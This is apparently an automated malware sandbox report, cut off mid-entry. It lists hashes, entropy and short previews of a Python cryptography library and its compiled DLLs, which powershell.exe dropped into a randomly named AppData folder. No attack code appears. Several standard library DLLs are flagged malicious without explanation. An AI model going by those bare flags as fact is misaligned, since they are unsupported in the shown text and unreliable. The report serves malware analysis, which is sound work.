              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):482
              Entropy (8bit):5.105314197006538
              Encrypted:false
              SSDEEP:
              MD5:69A7EFD78AFDEF04820558CECC146AE6
              SHA1:3CF02E290E2C748FEB0AA29B55FB9C8BE7421E81
              SHA-256:FC079D87295B952D7A52929D205ED7BBED1EE2741479E96337FA7EBC9428A26A
              SHA-512:8F1CD56424FC12C86AA16ED0DBC076E2D0FA7714CE93F4D9B1C109BB661285563E4AA2918C48A2DC076B945ED2207197F53683946E29C78F1B9F32E668E54F03
              Malicious:false
              Reputation:unknown
              Preview:from typing import TypedDict, Callable, TypeVar, Generic..from typing_extensions import Unpack, NotRequired....from Crypto.PublicKey.ECC import EccKey....T = TypeVar('T')....class RequestParams(TypedDict, Generic[T]):.. kdf: Callable[[bytes|bytearray|memoryview], T].. static_priv: NotRequired[EccKey].. static_pub: NotRequired[EccKey].. eph_priv: NotRequired[EccKey].. eph_pub: NotRequired[EccKey]....def key_agreement(**kwargs: Unpack[RequestParams[T]]) -> T: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Protocol\KDF.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):22955
              Entropy (8bit):4.822109096386609
              Encrypted:false
              SSDEEP:
              MD5:78EA2251CC2560710EFF6D782F1C705E
              SHA1:92A4E050AE5883220F461FC01ED7C0CA1ED4DF16
              SHA-256:F47D981850B12CD0ECE583D13EF5F29F0BF72D60A2D089C3FC093F02EA5D1746
              SHA-512:E52616C1DFB149357FBD8B59D0E0CF392362A03065DC232354D1061DA393F5E30C030A950998A99AD606698E2AA4A769F9D9FD6A3A09281736B1168E5A023329
              Malicious:false
              Reputation:unknown
              Preview:# coding=utf-8..#..# KDF.py : a collection of Key Derivation Functions..#..# Part of the Python Cryptography Toolkit..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Protocol\KDF.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2038
              Entropy (8bit):4.91503915615325
              Encrypted:false
              SSDEEP:
              MD5:1687A469EDFFF0FFDAA2B11B36773D3E
              SHA1:33C8FB6F81ACDB5D4269C3B71B4357A75D3717DA
              SHA-256:B131B886A651ED555E85ED9776332A77826C1EECF002D077573CCB3B6E410F8D
              SHA-512:40EB0A8B520F945357B26CFD09DB469AD54CA21DB0E322D4932DF12570EB23D80920C4B9BC017DDDC241A3FC1F9BA5E41607629ECEB09C59F39B8BCFBCF4D0CA
              Malicious:false
              Reputation:unknown
              Preview:from types import ModuleType..from typing import Optional, Callable, Tuple, Union, Dict, Any, overload..from typing_extensions import Literal....Buffer=bytes|bytearray|memoryview....RNG = Callable[[int], bytes]..PRF = Callable[[bytes, bytes], bytes]....def PBKDF1(password: str, salt: bytes, dkLen: int, count: Optional[int]=1000, hashAlgo: Optional[ModuleType]=None) -> bytes: .....def PBKDF2(password: str, salt: bytes, dkLen: Optional[int]=16, count: Optional[int]=1000, prf: Optional[RNG]=None, hmac_hash_module: Optional[ModuleType]=None) -> bytes: .......class _S2V(object):.. def __init__(self, key: bytes, ciphermod: ModuleType, cipher_params: Optional[Dict[Any, Any]]=None) -> None: ....... @staticmethod.. def new(key: bytes, ciphermod: ModuleType) -> None: ..... def update(self, item: bytes) -> None: ..... def derive(self) -> bytes: .......def HKDF(master: bytes, key_len: int, salt: bytes, hashmod: ModuleType, num_keys: Optional[int]=1, context: Optional[bytes]=None) ->

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Protocol\SecretSharing.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):9056
              Entropy (8bit):4.7874787545071635
              Encrypted:false
              SSDEEP:
              MD5:8F0F67CEDF28EC2C022DC31587D03BB5
              SHA1:86EC75E3ACBF09488E0592A026F40FF26A27BBF5
              SHA-256:4DB85B5FF214482B6A912C0E90E73F8164B54AC4CC69390DE67024A4B6FD164D
              SHA-512:B6EC5234AF9CC7C513D7FD95BD1638177B0778FA65E19813319B7951B3846F3F83BADC4CFD85FA465CB98886CA73F206228FA336F0F62FFA8E23E455A1BC5BE0
              Malicious:false
              Reputation:unknown
              Preview:#..# SecretSharing.py : distribute a secret amongst a group of participants..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DI

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Protocol\SecretSharing.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):820
              Entropy (8bit):4.725635475246741
              Encrypted:false
              SSDEEP:
              MD5:2C29B85AA1A7948F90DCFD8358D8E6B4
              SHA1:A3915B73FF0D5551F611428FEDB436617E35B93F
              SHA-256:17BB4B071A5BAAB986780546A7B0F506F186A683CB2A2A9C9C3B727C3D9C0921
              SHA-512:665A60174EC4D827D95F11F2B88229E943EFF1C2C60F463DD710546970261FE8D8BBF2B527AA82ECB18F25BB1310ED11AFFE8997EC997DEA6D04D4A908EF96C4
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, List, Tuple, Optional....def _mult_gf2(f1: int, f2: int) -> int : .....def _div_gf2(a: int, b: int) -> int : .......class _Element(object):.. irr_poly: int.. def __init__(self, encoded_value: Union[int, bytes]) -> None: ..... def __eq__(self, other) -> bool: ..... def __int__(self) -> int: ..... def encode(self) -> bytes: ..... def __mul__(self, factor: int) -> _Element: ..... def __add__(self, term: _Element) -> _Element: ..... def inverse(self) -> _Element: ..... def __pow__(self, exponent) -> _Element: .......class Shamir(object):.. @staticmethod.. def split(k: int, n: int, secret: bytes, ssss: Optional[bool]) -> List[Tuple[int, bytes]]: ..... @staticmethod.. def combine(shares: List[Tuple[int, bytes]], ssss: Optional[bool]) -> bytes: .......

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Protocol\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):1585
              Entropy (8bit):5.205262016568805
              Encrypted:false
              SSDEEP:
              MD5:359E5E3040820102CF68398BFCEF8840
              SHA1:893ABCEC60366D62B13FC6679599EFFFBEFF1450
              SHA-256:5E519AC6FBC45FDC85A460E0DDAD070BAF48BC16C1BA2906A67168F89E3F0899
              SHA-512:953D5D7B66792121BFE24C805B33704E9B2491EB956BAB0F82497455E3CD1388E7DD134685D56E38E6D10D5B45894FA2D9DEBFCAFD53E21D5A600892A11A63BD
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Protocol\__init__.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):44
              Entropy (8bit):4.516027641266231
              Encrypted:false
              SSDEEP:
              MD5:4200283AFF0E859DE9F1C15EBAD7A073
              SHA1:42B5DC005A804C92E877D93FB14FDB41E52C6C7A
              SHA-256:D17FF2840E82E8BDF3FC2378B27B824FE0C97506473295746C18253407FDA61B
              SHA-512:A4CC0C1A5F215A9E422DF2DF80086E39767ADB2D6D2DA0E086FED921D087847664CCD3D9F7170834E2DCE8B4C07F71422CA0BB962627D4A1CFAFF0E6621FD383
              Malicious:false
              Reputation:unknown
              Preview:__all__ = ['KDF.pyi', 'SecretSharing.pyi']..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Protocol\_scrypt.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):9728
              Entropy (8bit):5.135904494493939
              Encrypted:false
              SSDEEP:
              MD5:05969A7400A260E57F2DAD65544867A4
              SHA1:4AE65E8F97D7AB71C5729555C3C92CEA1AF969EC
              SHA-256:427C831901265053C4F7AE53B7B60078A0A70381D6EA050ED0944556C396EAE8
              SHA-512:9984DBA0DEFC3EF23AB5FDD0B311ECEA6EAA0BA07D8CD9A2CBF6FC7F47D8764110B8A9A2C4F05FE1BEDDBD54F604E2F7A659C73F38767C5B3894298E2E98022B
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'..co..co..co..j.!.go..v...ao..(...`o..co..@o..v...ho..v...io..v...bo..Y..bo..Y..bo..Y.M.bo..Y..bo..Richco..................PE..L...9..e...........!...%............N........0...............................p............@..........................5..d...d5..d....P.......................`..X...x1...............................0..@............0..|............................text...[........................... ..`.rdata.......0......................@..@.data........@....... ..............@....rsrc........P......."..............@..@.reloc..X....`.......$..............@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\DSA.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):23060
              Entropy (8bit):4.8542965681461245
              Encrypted:false
              SSDEEP:
              MD5:7F4C4E4A51254CF7C23BAD8DF3940A4B
              SHA1:19497A8225DD25DA5379CBB343581383D886B97A
              SHA-256:479862D6D569DDFF438312AF51E1757D6A748ABF932507A3C08564F33DFF6BD5
              SHA-512:62B6196FCB08A837644697519755F2C01C77A386E5083D5CA79303E2EC33A8525A45A7C589B83F95B553F0EE7F82860F9EB108CF070F6DC45615777DF6370F33
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# PublicKey/DSA.py : DSA signature primitive..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\DSA.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1412
              Entropy (8bit):4.9317569017679235
              Encrypted:false
              SSDEEP:
              MD5:299FE26EFF86811A83759B29485B17D7
              SHA1:308EF3564AB7D637AA3F00747618AB8D625B09F4
              SHA-256:7E2D92CC91313869FFB9ACBDE0F4628F6BB9995FF154BCC0E8C2F1F733E96C4F
              SHA-512:785B0A5D31BC45D4FE2580B26F09A45EFB9FB6244115AB973F4BE65D98A63A49504330553B758672638529082DA1809A541F9AD5EFDF774AA51F9DD2F8A301AF
              Malicious:false
              Reputation:unknown
              Preview:from typing import Dict, Tuple, Callable, Union, Optional....__all__ = ['generate', 'construct', 'DsaKey', 'import_key' ]....RNG = Callable[[int], bytes]....class DsaKey(object):.. def __init__(self, key_dict: Dict[str, int]) -> None: ..... def has_private(self) -> bool: ..... def can_encrypt(self) -> bool: ... # legacy.. def can_sign(self) -> bool: ... # legacy.. def public_key(self) -> DsaKey: ..... def __eq__(self, other: object) -> bool: ..... def __ne__(self, other: object) -> bool: ..... def __getstate__(self) -> None: ..... def domain(self) -> Tuple[int, int, int]: ..... def __repr__(self) -> str: ..... def __getattr__(self, item: str) -> int: ..... def export_key(self, format: Optional[str]="PEM", pkcs8: Optional[bool]=None, passphrase: Optional[str]=None,.. protection: Optional[str]=None, randfunc: Optional[RNG]=None) -> bytes: ..... # Backward-compatibility.. exportKey = export_key.. publickey = public_key....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\ECC.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):67427
              Entropy (8bit):4.857152735652469
              Encrypted:false
              SSDEEP:
              MD5:725F8EC9C104AA3C6B0950278B06BC42
              SHA1:86691C9548643EEC3FCF405B9795EF5A11FDDE8A
              SHA-256:F17C068FD0BC1DCA2CC84366CF2CCB5CECF89DCB460EA7BE6C3BF64387AB9FB7
              SHA-512:D9CF278693EAC5866F7AD7B8223F95608BEB1CE255DA6FC31152DA2980B8DC82432FAFF2B2879F094489E53ABE5422F8FA3097AB3277A708698455991E42A421
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\ECC.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3368
              Entropy (8bit):4.623430359144985
              Encrypted:false
              SSDEEP:
              MD5:D6B0C334F2E86B944B8B5C595D46091B
              SHA1:6D774B4906613E8AEDE7889D06E5F57C3BA51DE5
              SHA-256:11E9396C412E693B5A7D2B9A455BF7596853BE94BC0FCE01F292C1732934CBA3
              SHA-512:A58B1231C7EEBBEC0AFE7192A59204912A88D5E3F51A0356811DCBC11158A11E5D4FF617B4682817D8BE56C88FDA27BBAB95850C77C876336A2DE25927F129EB
              Malicious:false
              Reputation:unknown
              Preview:from __future__ import annotations....from typing import Union, Callable, Optional, Tuple, Dict, NamedTuple, Any, overload, Literal..from typing_extensions import TypedDict, Unpack, NotRequired....from Crypto.Math.Numbers import Integer..from Crypto.IO._PBES import ProtParams....RNG = Callable[[int], bytes]......class UnsupportedEccFeature(ValueError):.. .........class EccPoint(object):.. def __init__(self,.. x: Union[int, Integer],.. y: Union[int, Integer],.. curve: Optional[str] = ...) -> None: ....... def set(self, point: EccPoint) -> EccPoint: ..... def __eq__(self, point: object) -> bool: ..... def __neg__(self) -> EccPoint: ..... def copy(self) -> EccPoint: ..... def is_point_at_infinity(self) -> bool: ..... def point_at_infinity(self) -> EccPoint: ..... @property.. def x(self) -> int: ..... @property.. def y(self) -> int: ..... @property.. def xy(self) -> Tuple[int, int]: ..... def size_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\ElGamal.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):8901
              Entropy (8bit):4.841428903824507
              Encrypted:false
              SSDEEP:
              MD5:F85B4D32AF5D4BBD777FB171BB3B3BD2
              SHA1:EC768344A4163127698DDEA1D4D0D63E6EAF7D49
              SHA-256:54F3AB21742989AD8BC1AA56D34505F1601E1DBFAEA89A121F981784FF339DB5
              SHA-512:82D02ECDB710663402330D41E181BB36E73C095C417DE68A1B030F44DF0D90EF6134BFDB919C93F5951622CACAABF25D351811464410D9B159B5E075086BBE29
              Malicious:false
              Reputation:unknown
              Preview:#..# ElGamal.py : ElGamal encryption/decryption and signatures..#..# Part of the Python Cryptography Toolkit..#..# Originally written by: A.M. Kuchling..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WI

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\ElGamal.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):692
              Entropy (8bit):4.899620335781504
              Encrypted:false
              SSDEEP:
              MD5:BB6DFCDEB98EA22FCAFD1C2EF2909FD1
              SHA1:95BB59D50EEB6EC2FF53AA07FE9C7291C628F1AA
              SHA-256:701C7CA660A0ECBF8B633FBB1A080F447FC693E128965D369C6165F621CD80B6
              SHA-512:D22A616317C9F8043C65E32B7D3516E6E7A73A03412151FF26BD09F0DF60F53E6E02FB2FD7F71F48E0C17DA0377156A1AAA7FE4843E72D9AF184A95CEA4C82A7
              Malicious:false
              Reputation:unknown
              Preview:from typing import Callable, Union, Tuple, Optional....__all__ = ['generate', 'construct', 'ElGamalKey']....RNG = Callable[[int], bytes]....def generate(bits: int, randfunc: RNG) -> ElGamalKey: .....def construct(tup: Union[Tuple[int, int, int], Tuple[int, int, int, int]]) -> ElGamalKey: .......class ElGamalKey(object):.. def __init__(self, randfunc: Optional[RNG]=None) -> None: ..... def has_private(self) -> bool: ..... def can_encrypt(self) -> bool: ..... def can_sign(self) -> bool: ..... def publickey(self) -> ElGamalKey: ..... def __eq__(self, other: object) -> bool: ..... def __ne__(self, other: object) -> bool: ..... def __getstate__(self) -> None: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\RSA.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):31755
              Entropy (8bit):4.716755149805653
              Encrypted:false
              SSDEEP:
              MD5:0947B4DBE43E62701069600DBDF79A8C
              SHA1:0FC15553FE43466C3E23A2524771E15F2203D317
              SHA-256:5047981C1EF9B12C37FF5E5010FC9BB200FA2C7EEC64EB002ABD452944864A0E
              SHA-512:E904116A422EC30B52DCFBDA65FB19FF73852E4CC02107D59F785C170B42E6E040846F14F2ADCCA4ED3DFA6DE3527D531342EB60DF30AA4EA5929693029A441C
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..# ===================================================================..#..# Copyright (c) 2016, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\RSA.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2599
              Entropy (8bit):4.5725118156821445
              Encrypted:false
              SSDEEP:
              MD5:0DF7584DEADC1160766A1CF2E07FA3D2
              SHA1:79484FB8B9D7CE922DEBCAF136CDE6176DF649B4
              SHA-256:5CBA0D3C44217538026D4585ACA8F592FC0B21AD618AB11D45715539A365E024
              SHA-512:DD9AF3B3D3CBD332D831206883BF3C902ADCD828108215C00FA0D898B310A92A23D581BA3A513A5EA50880022E6DACF44E0AD1AF52253EE1F094F348F7B971E8
              Malicious:false
              Reputation:unknown
              Preview:from typing import Callable, Union, Tuple, Optional, overload, Literal....from Crypto.Math.Numbers import Integer..from Crypto.IO._PBES import ProtParams....__all__ = ['generate', 'construct', 'import_key',.. 'RsaKey', 'oid']....RNG = Callable[[int], bytes]....class RsaKey(object):.. def __init__(self, **kwargs: int) -> None: ....... @property.. def n(self) -> int: ..... @property.. def e(self) -> int: ..... @property.. def d(self) -> int: ..... @property.. def p(self) -> int: ..... @property.. def q(self) -> int: ..... @property.. def u(self) -> int: ..... @property.. def invp(self) -> int: ..... @property.. def invq(self) -> int: ....... def size_in_bits(self) -> int: ..... def size_in_bytes(self) -> int: ..... def has_private(self) -> bool: ..... def can_encrypt(self) -> bool: ... # legacy.. def can_sign(self) -> bool:... # legacy.. def public_key(self) -> RsaKey: ..... def __eq__(self, other: obj

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3236
              Entropy (8bit):5.060017011908534
              Encrypted:false
              SSDEEP:
              MD5:4A857A07C057F9867133A3BDF93BCE2F
              SHA1:C49098F9F3D62CDAF15C53AE244AFD60C25356CF
              SHA-256:EE62ED1363AE2633B7498B8AE333E525CEBA8AF94CBA9F1C6DF4939581C759D8
              SHA-512:AB6B0492D6B6C1EC1BB792611493A6E1760B7B7E0F7D1610E6578DFA511E4963DE637E52E7BD2699696845DB6BE75CC96CEC44A47ED06E167719981483B436DE
              Malicious:false
              Reputation:unknown
              Preview:# -*- coding: utf-8 -*-..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\_ec_ws.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):720896
              Entropy (8bit):7.668141455946428
              Encrypted:false
              SSDEEP:
              MD5:4265AFF5E6C9B13A397DB9FB5DB7E0F8
              SHA1:E82C09FD6C0CEFD3DB6C85B675AA1DBEC3B84849
              SHA-256:54F51DBA779A9FE9C0CA18A62D2BF696A7463FB76EEB5B79AC0761BEDCFF58F5
              SHA-512:D6BD223A48664BC8B1FA3600D621515F492681FC147026B56C9B5B001F36961E84B6FAD4605A37D09DA2B1C10F37E7BE3F361EFAD53D36B07955832615D55EA4
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I.....Z...Z...Z..jZ...Z...[...ZF..[...Z...Z*..Z...[...Z...[...Z...[...Z7..[...Z7..[...Z7..Z...Z7..[...ZRich...Z........PE..L...:..e...........!...%............T........ ...............................@............@.........................@...d.......d.... .......................0..........................................@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data...............................@....rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\_ed25519.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):22528
              Entropy (8bit):6.105707923864752
              Encrypted:false
              SSDEEP:
              MD5:E36E97264A271CBB7FA58DF7E873382C
              SHA1:213CD5DAA4EF7463D436ED49D972FC176BFB8E38
              SHA-256:C58844CFA2B34C5AA197DFD8C891F1D06EA08B7B1F91D87DB5A0B93BB349A87D
              SHA-512:18E0EF6EB7AA5B856BF76339D8FD59D9CBC46AB3226AC0C9773ADB8D8210361409AF443B33BE0C9CFADC9E6FA9B6DD377690E06FC557F59CC17C347D97385A38
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............i...i...i....P..i.......i......i...i...i.......i.......i.......i.......i.......i....<..i.......i..Rich.i..........PE..L...;..e...........!...%.@..........N........P............................................@.........................@U..0...pV..d....p...............................Q.............................. Q..@............P..x............................text....>.......@.................. ..`.rdata.......P.......D..............@..@.data...T....`.......N..............@....rsrc........p.......T..............@..@.reloc...............V..............@..B................................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\_ed448.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):48128
              Entropy (8bit):6.2529879407981
              Encrypted:false
              SSDEEP:
              MD5:39FB9B0D6C84C01B4BF29AAB7AB897C0
